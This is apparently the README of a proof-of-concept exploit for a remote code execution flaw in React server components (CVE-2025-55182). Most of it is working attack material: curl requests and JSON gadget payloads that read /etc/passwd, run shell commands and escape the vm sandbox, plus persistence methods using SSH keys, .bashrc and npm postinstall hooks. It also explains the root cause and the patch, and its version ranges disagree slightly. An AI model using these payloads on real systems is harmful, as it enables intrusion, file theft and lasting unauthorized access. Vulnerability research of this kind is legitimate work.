This POC demonstrates CVE-2025-55182 using actual [email protected] vulnerable code.
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
# Exploits
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='| File | Port | Description |
|---|---|---|
src/server-realistic.js |
3002 | Main server - simulates webpack bundle with common modules (fs, vm, child_process) |
src/server.js |
3002 | Legacy server (uses direct require) |
| File | Description |
|---|---|
exploit-rce-v4.js |
Primary RCE via vm#runInThisContext |
exploit-all-gadgets.js |
Tests all RCE gadgets (vm, child_process, fs) |
exploit-persistence.js |
Persistence attacks (SSH keys, .bashrc) |
Simulates a real webpack bundle where apps commonly bundle dangerous modules via dependencies:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};The __webpack_require__ function only loads modules from BUNDLED_MODULES, simulating real webpack behavior.
In requireModule(), exports are accessed via bracket notation without hasOwnProperty check:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];- Send
$ACTION_REF_0with bound action metadata id: 'vm#runInThisContext'loadsvmmodule, accessesrunInThisContextexportboundarray becomes arguments to the function- When action is called:
runInThisContext(CODE)executes arbitrary code
| Gadget | Status | Description |
|---|---|---|
vm#runInThisContext |
✓ | Execute arbitrary JS in current context |
vm#runInNewContext |
✓ | Execute in "sandbox" (easily escaped) |
child_process#execSync |
✓ | Direct shell command execution |
child_process#execFileSync |
✓ | Execute binary files |
child_process#spawnSync |
✓ | Spawn process (returns object) |
fs#readFileSync |
✓ | Read arbitrary files |
fs#writeFileSync |
✓ | Write arbitrary files |
Execute shell command (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }Read sensitive files:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }Write files to disk:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }Execute arbitrary JavaScript:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}Sandbox escape (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}For Direct RCE: Yes, you need one of:
vmmodule (runInThisContext, runInNewContext)child_processmodule (execSync, execFileSync, spawnSync)
For Indirect RCE (fs-only): No! With just fs you can:
- Write to
~/.ssh/authorized_keys→ SSH access - Append to
~/.bashrc→ Code execution on next login - Overwrite
node_modules/*→ RCE on app restart - Modify
package.jsonpostinstall → RCE on next npm install
| Version | Attack | Result |
|---|---|---|
| React 19.0.0 | vm#runInThisContext |
✓ RCE achieved |
| React 19.2.1 | vm#runInThisContext |
✗ Blocked |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will failSee VULNERABLE-PACKAGES.md for research on popular npm packages that include dangerous modules:
| Module | Weekly Downloads | Popular Packages |
|---|---|---|
fs |
145M+ | fs-extra, gray-matter, multer, sharp |
child_process |
103M+ | execa, shelljs, puppeteer, sharp |
vm |
21M+ | ejs, pug, handlebars, vm2 |
- react-server-dom-webpack: < 19.2.0
- react-server-dom-turbopack: < 19.2.0
- react-server-dom-webpack: >= 19.2.0
- react-server-dom-turbopack: >= 19.2.0
- Next.js: 15.0.5+